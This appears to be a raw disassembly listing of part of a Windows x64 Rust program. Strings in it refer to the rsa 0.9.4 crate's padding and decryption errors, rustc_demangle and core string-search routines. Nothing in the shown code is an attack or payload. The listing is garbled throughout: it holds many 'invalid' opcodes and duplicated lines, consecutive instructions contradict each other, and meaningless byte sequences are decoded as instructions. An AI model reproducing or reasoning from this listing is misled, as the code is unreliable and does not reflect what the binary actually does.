jne case.0x14004e56b.95
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 2], al
invalid
inc r13b
jne case.0x140051168.85
mov ecx, dword [rsp + 0x2c]
and al, 0x2c
inc cl
mov dword [rsp + 0x2c], ecx
jne case.0x140051168.85
mov rcx, qword [rsp + 0x40]
and al, 0x40
add cl, 1
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
adc cl, 0
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x2c], 0
test rdx, rdx
je 0x14006b080
test byte [rbp + rdi*8 - 1], ah
invalid
test byte [rbp + rdi*8 - 1], ah
dec dword [rax - 0x75]
or eax, 0x8ded5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rax
sar bh, 0xd6
jmp 0x14006b080
add rsp, 0x78
pop rbx
pop rbp
invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov ecx, 1
mov rdx, r12
loop 0x14006b331
mov bl, 0xea
add eax, dword [rax]
loop 0x14006b331
mov bl, 0xea
add eax, dword [rax]
ud2
call fcn.1400402a0
ud2
std
std
dec dword [rdi]
or ecx, dword [rax - 0x73]
or eax, 0x77a6b
jp case.0x14004e84a.101
invalid
lea rcx, str.assertion_failed:_out.len___as_u64___MAX_LENC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rsa_0.9.4_src_algorithmsmgf.rs
jp case.0x14004e84a.101
add byte [rbp + rcx*4 + 5], cl
cld
jp 0x14006b36a
lea r8, [0x1400e2e60]
mov edx, 0x2d
add byte [rax], al
add byte [rdx + 0x2d], bh
call fcn.1400aa0a0
add eax, dword [rax]
ud2
in al, dx
push 0x4c018b48
lea eax, [0x1400efb64]
or byte [r8], r8b
or byte [r8], r8b
movsxd rax, dword [r8 + rax*4]
add rax, r8
sar bh, 0xe0
or byte [rcx + rax - 0x40], 0xff
loopne 0x14006b3d0
sar bh, 0xe0
lea rax, str.invalid_padding_scheme
add bh, byte [rbx + 7]
invalid
lea eax, [0x1400e2e90]
add bh, byte [rbx + 7]
add cl, ch
sub al, 1
add byte [rax], al
jmp 0x14006b4bf
lea rax, str.decryption_error
jmp 0x14006b4bf
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x77b32
add byte [rax], al
lea rax, str.verification_error
jmp 0x14006b4bf
jnp 0x14006b3b8
add cl, ch
or byte [rcx], al
add byte [rax], al
lea rax, str.input_must_be_hashed
add eax, 0x77b62
lea eax, [0x1400e2f20]
jmp 0x14006b4bf
lea eax, [0x1400e2f90]
jmp 0x14006b4bf
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
lea r8, [rsp + 0x20]
call fcn.140042240
nop
add rsp, 0x68
ret
int3
je 0x14006baee
bsr r8, r8
xor r8, 0x3f
shl rdx, 6
sub rdx, r8
cmp rdx, 0x1000
cmp edx, 0x1000
cmp edx, 0x1000
ja 0x14006bb04
jmp 0x14006bb0f
mov r8d, 0x40
shl rdx, 6
sub rdx, r8
cmp rdx, 0x1000
jbe 0x14006bb0f
mov r10d, 0xb
jmp 0x14006bc79
mov r8, qword [rsp + 0x78]
and al, 0x78
cmp r8, 4
jbe 0x14006bc2b
mov r9, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
test r9, r9
je 0x14006bc3c
mov rdx, qword [rdx]
mov r10d, 0xd
cmp r9, 1
jne 0x14006bc79
cmp r8, 4
jbe 0x14006bc48
mov r11, qword [rsp + 0x58]
mov r10, qword [rsp + 0x60]
cmp rax, 5
jae 0x14006bc5a
lea r9, [rsp + 0x28]
cmp r11, rax
jb 0x14006bc6d
ja 0x14006bc1a
test r11, r11
je 0x14006bc1a
test rax, rax
je 0x14006bc1a
invalid
add byte [rdi - 0x73], cl
sbb al, 0xda
lea r11, [r10 + r11*8]
lea rsi, [r9 + rax*8]
lea rbx, [r11 - 8]
lea rdi, [rsi - 8]
mov r14, qword [rsi - 8]
cmp qword [rbx], r14
jb 0x14006bc6d
ja 0x14006bc1a
cmp rbx, r10
je 0x14006bc1a
cmp rdi, r9
je 0x14006bc1a
lea rbx, [r11 - 0x10]
lea rdi, [rsi - 0x10]
mov r14, qword [rsi - 0x10]
cmp qword [rbx], r14
jb 0x14006bc6d
ja 0x14006bc1a
cmp rbx, r10
je 0x14006bc1a
cmp rdi, r9
je 0x14006bc1a
lea rbx, [r11 - 0x18]
lea rdi, [rsi - 0x18]
mov r14, qword [rsi - 0x18]
cmp qword [rbx], r14
jb 0x14006bc6d
ja 0x14006bc1a
cmp rbx, r10
je 0x14006bc1a
cmp rdi, r9
je 0x14006bc1a
lea rbx, [r11 - 0x20]
lea rdi, [rsi - 0x20]
mov r14, qword [rsi - 0x20]
cmp qword [rbx], r14
jb 0x14006bc6d
ja 0x14006bc1a
cmp rbx, r10
je 0x14006bc1a
cmp rdi, r9
je 0x14006bc1a
mov r10, qword [r11 - 0x28]
cmp r10, qword [rsi - 0x28]
jb 0x14006bc6d
mov qword [rcx + 8], 8
mov qword [rcx], 2
jmp 0x14006bca2
lea rdx, [rsp + 0x58]
mov r9, r8
test r9, r9
jne 0x14006bb31
xor edx, edx
cmp r8, 4
ja 0x14006bb4e
invalid
invalid
invalid
invalid
lea r10, [rsp + 0x58]
mov r11, r8
cmp rax, 5
jb 0x14006bb62
mov rsi, qword [rsp + 0x28]
mov r9, qword [rsp + 0x30]
cmp r11, rsi
jae 0x14006bcef
test byte [r9], 1
jne 0x14006bcd2
mov r10d, 8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], rdx
mov qword [rcx], 2
cmp rax, 5
jb 0x14006bca2
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f91f8]
or eax, 0x8d55e
or eax, 0x8d55e
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 5
jb 0x14006bcbe
mov r8, qword [rsp + 0x60]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x4474a
sar bh, cl
adc eax, 0x4474a
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r8, 4
jbe 0x14006bd02
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov r10d, 9
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
jne 0x14006bd16
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rbp + 0x29], 0xeb
mov dh, byte [rsi + 0x40]
jmp 0x14006bc79
jbe 0x14006bd31
mov qword [rcx + 8], 8
or byte [rax], al
add byte [rax], al
mov qword [rcx], 2
jmp 0x14006bc8e
lea r9, [rsp + 0x58]
mov r10d, 9
test r8, r8
je 0x14006bc79
test byte [r9], 1
je 0x14006bc79
add dword [rdi], ecx
test byte [rcx - 1], bl
invalid
cmp rdx, 2
jae 0x14006bd8d
mov r10d, 0xc
jmp 0x14006bc79
lea rdi, [r10 + r11*8]
add rdi, 0xfffffffffffffff8
shl r11, 3
neg r11
lea rbx, [rsi*8]
lea r14, [r9 + rsi*8]
add r14, 0xfffffffffffffff8
neg rbx
xor r15d, r15d
mov r10d, 8
mov edx, 8
mov edx, 8
nop dword [rax]
invalid
cmp r11, r15
je 0x14006bc79
invalid
invalid
invalid
cmp rbx, r15
je 0x14006bc79
mov r12, qword [rdi + r15]
mov r13, qword [r14 + r15]
cmp r12, r13
cmp r12, r13
jb 0x14006bd9e
add r15, 0xfffffffffffffff8
cmp r12, r13
jbe 0x14006bd60
jmp 0x14006bc79
shr rdx, 0x21
je 0x14006bdac
mov r10d, 0xd
jmp 0x14006bc79
test rsi, rsi
jne 0x14006bc6d
jmp 0x14006bc79
movaps xmm0, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], al
movups xmmword [rcx + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rcx + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmm2, xmmword [rsp + 0x40]
movaps xmm3, xmmword [rsp + 0x50]
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x30], ebx
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
jmp 0x14006bcbe
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
cmp r15, rcx
ja 0x14006c14e
mov rcx, qword [rdi]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x30], ecx
add rcx, rsi
lea rdx, [rdi + 0x28]
mov qword [rsp + 0x38], rdx
mov r9, qword [rdi + 0x20]
cmp r9, 4
mov qword [rsp + 0x28], r9
jbe 0x14006bfcf
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 0x31], al
in eax, dx
xor r13d, r13d
movabs rdx, 0xfefefefefefefeff
movabs r8, 0x8080808080808080
add byte [rax - 0x7f7f7f80], 0x80
invalid
add byte [rax - 0x7f7f7f80], 0x80
sub bl, 0x16
jmp 0x14006be85
nop
jmp 0x14006be85
mov rax, qword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
sub rax, rsi
jb 0x14006c14e
mov r10, qword [rsp + 0x38]
movzx r10d, byte [r10 + r9 - 1]
dec dword [rax - 0x7d]
clc
adc byte [rbx + 0x3a], dh
dec dword [rax - 0x7d]
clc
adc byte [rbx + 0x3a], dh
test rax, rax
je 0x14006c147
xor r14d, r14d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mul byte [rsi + 0x66]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rcx + r14], r10b
je 0x14006bf96
inc r14
cmp rax, r14
jne 0x14006beb0
jmp 0x14006c147
lea r11, [rcx + 7]
and r11, 0xfffffffffffffff8
sub r11, rcx
je 0x14006bf12
cmp r11, rax
cmovae r11, rax
test r11, r11
test ebx, ebx
test ebx, ebx
je 0x14006bf12
xor r14d, r14d
nop dword [rax]
cmp byte [rcx + r14], r10b
je 0x14006bf9b
inc r14
cmp r11, r14
jne 0x14006bef0
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
cmp r11, r14
jbe 0x14006bf1e
jbe 0x14006bf1e
jmp 0x14006bf64
mov qword [rsp + 0x20], rbx
lea r14, [rax - 0x10]
xor r11d, r11d
invalid
fisttp dword [rcx + rcx*4 - 0x2b]
mov rbp, r10
mov ebp, edx
movabs r9, 0x101010101010101
imul rbp, r9
nop
mov r12, qword [rcx + r11]
xor r12, rbp
lea r9, [r12 + rdx]
not r12
and r12, r9
mov r9, qword [rcx + r11 + 8]
xor r9, rbp
lea rbx, [r9 + rdx]
not r9
and r9, rbx
or r9, r12
test r9, r8
jne 0x14006bf64
add r11, 0x10
cmp r11, r14
jbe 0x14006bf30
sub rax, r11
mov rbx, qword [rsp + 0x20]
je 0x14006c147
add rcx, r11
xor r14d, r14d
nop dword [rax + rax]
invalid
add byte [rsi + 0x38], al
adc al, 0x31
cmp byte [rcx + r14], r10b
je 0x14006bf93
inc r14
cmp rax, r14
jne 0x14006bf80
jmp 0x14006c147
add r14, r11
mov r9, qword [rsp + 0x28]
add rsi, r14
inc rsi
mov qword [rdi + 0x10], rsi
cmp rsi, r9
jb 0x14006be70
cmp rsi, qword [rsp + 0x40]
ja 0x14006be70
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_strpattern.rs
add eax, 0x7f5c0
mov edx, 4
mov rcx, r9
call fcn.1400aa020
add eax, dword [rax]
add eax, dword [rax]
ud2
xor r13d, r13d
movabs r14, 0xfefefefefefefeff
movabs rbp, 0x8080808080808080
mov ebp, 0x80808080
invalid
invalid
invalid
invalid
mov ebp, 0x80808080
add byte [rax - 0x74b77f80], 0x54
and al, 0x38
mov rdx, qword [rsp + 0x38]
movzx edx, byte [rdx + r9 - 1]
cmp rax, 0x10
jae 0x14006c030
test rax, rax
je 0x14006c147
xor r9d, r9d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp byte [rcx + r9], dl
cmp byte [rcx + rcx], dl
je 0x14006c0f3
inc r9
cmp rax, r9
jne 0x14006c010
out dx, al
out dx, al
jmp 0x14006c147
lea r8, [rcx + 7]
and r8, 0xfffffffffffffff8
sub r8, rcx
je 0x14006c072
cmp r8, rax
cmovae r8, rax
test r8, r8
test eax, eax
test eax, eax
je 0x14006c072
xor r9d, r9d
nop dword [rax]
invalid
add byte [rdx + 0x38], al
adc al, 9
je 0x14006c0f3
invalid
inc r9
cmp r8, r9
jne 0x14006c050
mov qword [rsp + 0x20], rbx
lea r9, [rax - 0x10]
xor r8d, r8d
mov r10, rdx
movabs r11, 0x101010101010101
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
add dword [rcx], eax
imul r10, r11
nop
mov r11, qword [rcx + r8]
xor r11, r10
lea rbx, [r11 + r14]
not r11
and r11, rbx
mov rbx, qword [rcx + r8 + 8]
xor rbx, r10
lea r12, [rbx + r14]
not rbx
and rbx, r12
or rbx, r11
test rbx, rbp
jne 0x14006c0c4
add r8, 0x10
cmp r8, r9
jbe 0x14006c090
sub rax, r8
mov rbx, qword [rsp + 0x20]
je 0x14006c147
add rcx, r8
xor r9d, r9d
nop word cs:[rax + rax]
cmp byte [rcx + r9], dl
je 0x14006c0f0
add rsi, r9
inc rsi
mov qword [rdi + 0x10], rsi
mov r12, rsi
mov r9, qword [rsp + 0x28]
sub r12, r9
jb 0x14006c130
cmp rsi, qword [rsp + 0x40]
ja 0x14006c130
mov rax, qword [rsp + 0x30]
lea rcx, [rax + r12]
xor byte [rdx - 0x73], cl
or al, 0x20
mov rdx, qword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
mov r8, r9
call sub.VCRUNTIME140.dll_memcmp
mov r9, qword [rsp + 0x28]
test eax, eax
invalid
je 0x14006c162
sal byte [rdx + rsi + 0x48], 0x8b
and al, 0x30
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
lea rcx, [rax + rsi]
mov rax, r15
sub rax, rsi
jae 0x14006bfe6
jmp 0x14006c14e
mov qword [rdi + 0x10], r15
xor r13d, r13d
in eax, dx
in eax, dx
mov qword [rbx], r13
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rbx + 8], r12
mov qword [rbx + 0x10], rsi
or byte [rax - 0x77], cl
jae 0x14006c17a
mov r13d, 1
jmp 0x14006c14e
invalid
fmul st(4), st(0)
int3
int3
int3
int3
sub rsp, 0x40
mov rsi, rdx
mov qword [rsp + 0x38], rcx
and al, 0x38
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1400e3283]
mov r8d, 0xd
jo 0x14006c1a2
add byte [rcx - 0x48], al
or eax, 0xff000000
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x14006c240]
add eax, 0x86
push rax
sbb byte [rax - 0x77], cl
je 0x14006c1cd
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x86
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8e2b]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 4
mov eax, 4
call fcn.140043690
cmp byte [rsp + 0x31], 0
mov ch, 0x74
std
inc dword [rax + 0x31247c]
movzx eax, byte [rsp + 0x30]
je case.0x140063187.77
test al, al
mov al, 1
jne case.0x140063187.77
and al, 0x28
test byte [rax + 0x34], 4
jne 0x14006c20f
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3857]
lea edx, [0x1400e3857]
lea edx, [0x1400e3857]
mov r8d, 2
add byte [rax], al
jmp 0x14006c224
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x7d475
invalid
invalid
invalid
sub byte [rax - 0x73], cl
adc eax, 0x7d475
invalid
invalid
invalid
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
invalid
ror byte [rax - 0x7d], 0xc4
pop rsi
add esp, 0x40
pop rsi
ret
add byte [rax - 0x73], cl
or eax, 0x77713
mov r8, qword [rcx + rax*8]
lea rcx, [0x1400e3988]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
jmp rcx
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp rcx
int3
add byte [rax], al
mov rsi, rcx
mov rcx, qword [rcx]
test rcx, rcx
je 0x14006c723
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
sbb byte [0x14006c49e], bh
sbb byte [0x14006c49e], bh
jae 0x14006c325
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x14006c2e6.68
invalid
add byte [rcx + 0x1cb60fd5], cl
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
mov esi, 0x17f98341
invalid
mov ebp, edx
movzx ebx, byte [rcx + rax]
lea rdx, [rax + 1]
mov qword [rsi + 0x10], rdx
lea r9d, [rbx - 0x42]
cmp r9d, 0x17
invalid
invalid
ja case.0x14006c2e6.68
add byte [rbp + rcx*4 + 0x15], cl
invalid
lea r10, [0x1400efbb4]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
add byte [rax - 0x7d], cl
rol byte [rbx], 0x48
mov dword [rsi + 0x10], eax
jmp 0x14006c769
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c34b
lea rdx, [0x1400e37d0]
mov r8d, 0x19
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006c84e
mov qword [rsi], 0
mov byte [rsi + 8], 1
or byte [rcx], r8b
or byte [rcx], r8b
jmp 0x14006c84c
add byte [rax], al
mov rcx, rsi
mov edx, ebp
call fcn.14006c9d0
mov dil, 1
jmp 0x14006c810
call fcn.14006cb70
cmp byte [rsp + 0x30], 0
je 0x14006c5af
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [rsi + 0x20]
and byte [rbx + rbx*8 + 0x32b840f], al
add byte [rax], al
and byte [rbx + rbx*8 + 0x32b840f], al
add byte [rax], al
test rcx, rcx
je 0x14006c6e3
lea rdx, [0x1400e37d0]
mov r8d, 0x19
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
jmp 0x14006c6d3
test dword [rax + 0x40000004], ecx
test ch, ch
je 0x14006c3ee
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c3ee
lea rdx, [0x1400e33c8]
mov r8d, 2
call fcn.140041f10
test al, al
jne 0x14006c84e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c411
lea rdx, [0x1400e3482]
mov r8d, 1
call fcn.140041f10
test al, al
jne 0x14006c84e
mov rcx, rsi
call fcn.14006da70
test rax, rax
jne 0x14006c84e
and al, 0x38
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.14006cc40
cmp qword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
cmp dword [rsp + 0x30], 0
je 0x14006c6b0
shr rbx, 0x20
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp ebx, 0x110000
jne 0x14006c85e
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
je 0x14006c814
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c814
lea rdx, [0x1400e33c8]
mov r8d, 2
call fcn.140041f10
test al, al
jne 0x14006c84e
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006c814
lea rcx, [rsp + 0x50]
call fcn.14006ce70
jmp 0x14006c810
sti
sbb cl, byte [rdi]
adc dword [rdx + rax - 0x3d800000], 0xffffffe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x14006c2e6.68
cmp qword [rsi], 0
je 0x14006c723
and al, 0x40
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x14006c814
lea rcx, [rsp + 0x70]
call fcn.14006ce70
mov dil, 1
test al, al
jne 0x14006c84e
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x14006c814
test byte [rax + 0x34], 4
jne 0x14006c814
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e77f3]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14006c84e
mov rdx, qword [rsi + 0x20]
mov rcx, rbx
call fcn.140043e70
test al, al
jne 0x14006c84e
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e77f4]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14006c810
adc eax, 0x77148
mov r8d, 0x19
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006c84e
add dword [rax], eax
invalid
add dword [rax], eax
add cl, al
jmp 0x14006c6a9
shr ebx, 8
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x14006c84c
pop rsi
or cl, ch
pushfq
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x5c
movzx ebx, byte [rsp + 0x38]
and al, 0x38
mov rcx, qword [rsi + 0x20]
test bl, bl
jne 0x14006c396
test rcx, rcx
je 0x14006c6e3
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006c84e
mov qword [rsi], 0
mov byte [rsi + 8], bl
pop rsi
or cl, ch
pop rdx
add dword [rax], eax
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c84c
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.14006c280
test al, al
jne 0x14006c99f
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x14006c7b0
lea rdx, [0x1400e3482]
mov r8d, 1
mov rcx, rdi
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006c84e
mov rcx, rsi
call fcn.14006d540
mov dil, 1
test al, al
jne 0x14006c84e
cmp bl, 0x4d
je 0x14006c7f5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c7e7
lea rdx, [0x1400e3802]
mov r8d, 4
call fcn.140041f10
test al, al
jne 0x14006c84e
mov rcx, rsi
xor edx, edx
call fcn.14006c280
test al, al
jne 0x14006c84e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c814
lea rdx, [0x1400e3481]
mov r8d, 1
call fcn.140041f10
test al, al
jne 0x14006c84e
cmp qword [rsi], 0
je 0x14006c84c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c841
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140041f10
mov dil, 1
test al, al
jne 0x14006c84e
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c87d
lea rdx, [0x1400e37f3]
mov r8d, 3
call fcn.140041f10
test al, al
jne 0x14006c84e
cmp ebx, 0x43
je 0x14006c89f
cmp ebx, 0x53
jne 0x14006c8bc
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c8db
lea rdx, [0x1400e37fd]
mov r8d, 4
jmp 0x14006c8b5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006c8db
lea rdx, [0x1400e37f6]
mov r8d, 7
call fcn.140041f10
jmp 0x14006c8d3
mov rdx, qword [rsi + 0x20]
mov dword [rsp + 0x30], ebx
test rdx, rdx
je 0x14006c8db
lea rcx, [rsp + 0x30]
call fcn.1400451c0
test al, al
jne 0x14006c84e
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
mov rcx, qword [rsi + 0x20]
jne 0x14006c94b
test rcx, rcx
je 0x14006c814
lea rdx, [0x1400e3801]
mov r8d, 1
call fcn.140041f10
test al, al
jne 0x14006c84e
test rcx, rcx
je 0x14006c814
lea rdx, [0x1400e9bc8]
mov r8d, 1
call fcn.140041f10
test al, al
jne 0x14006c84e
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1400e31d8]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.1400aa430
ud2
cmp r9, r8
je 0x14006cd1e
movzx ebx, byte [r10 + r8]
lea edx, [rbx - 0x3a]
cmp dl, 0xf6
jb 0x14006cce4
inc r8
mov qword [r11 + 0x10], r8
adc byte [rax - 9], cl
out 0xf, eax
sub byte [rcx], 1
add byte [rax], al
adc byte [rax - 9], cl
out 0xf, eax
sub byte [rcx], 1
add byte [rax], al
add bl, 0xd0
movzx edx, bl
add rax, rdx
jae 0x14006ccb0
jmp 0x14006cdfb
cmp r8, r9
jae 0x14006ccf7
cmp byte [r10 + r8], 0x5f
jne 0x14006ccf7
inc r8
mov qword [r11 + 0x10], r8
add rax, r8
jb 0x14006cdfb
mov qword [r11 + 0x10], rax
cmp rax, r9
ja 0x14006cdfb
cmp r8, r9
jae 0x14006cd2b
cmp byte [r10 + r8], 0xc0
jge 0x14006cd31
jmp 0x14006ce13
mov r8, r9
add rax, r8
jae 0x14006cd00
jmp 0x14006cdfb
jne 0x14006ce13
test rax, rax
je 0x14006cd46
cmp rax, r9
jae 0x14006cd46
cmp byte [r10 + rax], 0xbf
jle 0x14006ce13
lea r9, [r10 + r8]
mov rdx, rax
sub rdx, r8
test sil, sil
je 0x14006cd98
add rax, r10
sub rax, r9
lea r11, [r8 + r10]
dec r11
lea r10, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
nop dword [rax]
test rax, rax
je 0x14006cdb4
mov r8, rax
dec rax
cmp byte [r11 + r8], 0x5f
jne 0x14006cd70
test rax, rax
je 0x14006cdc3
cmp rax, rdx
jae 0x14006cdb8
cmp byte [r9 + rax], 0xbf
jg 0x14006cdc3
jmp 0x14006ce48
mov qword [rcx], r9
mov qword [rcx + 8], rdx
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0
jmp 0x14006ce06
xor eax, eax
jmp 0x14006cde5
jne 0x14006ce48
test r8, r8
je 0x14006ce0e
mov r10, rdx
sub r10, r8
jbe 0x14006cdd4
cmp byte [r9 + r8], 0xbf
jg 0x14006cdd9
jmp 0x14006ce2f
jne 0x14006ce2f
mov r8, rdx
mov rdx, r10
add r8, r9
mov r10, r9
mov r9, r8
test rdx, rdx
je 0x14006cdfb
mov qword [rcx], r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rdx
jmp 0x14006ce06
mov byte [rcx + 8], 0
mov qword [rcx], 0
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
xor r8d, r8d
jmp 0x14006cddc
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, r10
mov rdx, r9
mov r9, rax
call fcn.1400aa670
ud2
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, r9
mov r9, rdx
call fcn.1400aa670
ud2
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, r9
xor r8d, r8d
mov r9, rax
call fcn.1400aa670
ud2
int3
movzx eax, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
je 0x14006d001
add rax, rcx
xor r12d, r12d
nop
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x14006cf20
inc rcx
cmp r12, 0x80
cld
add byte [rax], 0
add byte [rdi], cl
invalid
mov ah, 0
add byte [rax], al
cld
add byte [rax], 0
add byte [rdi], cl
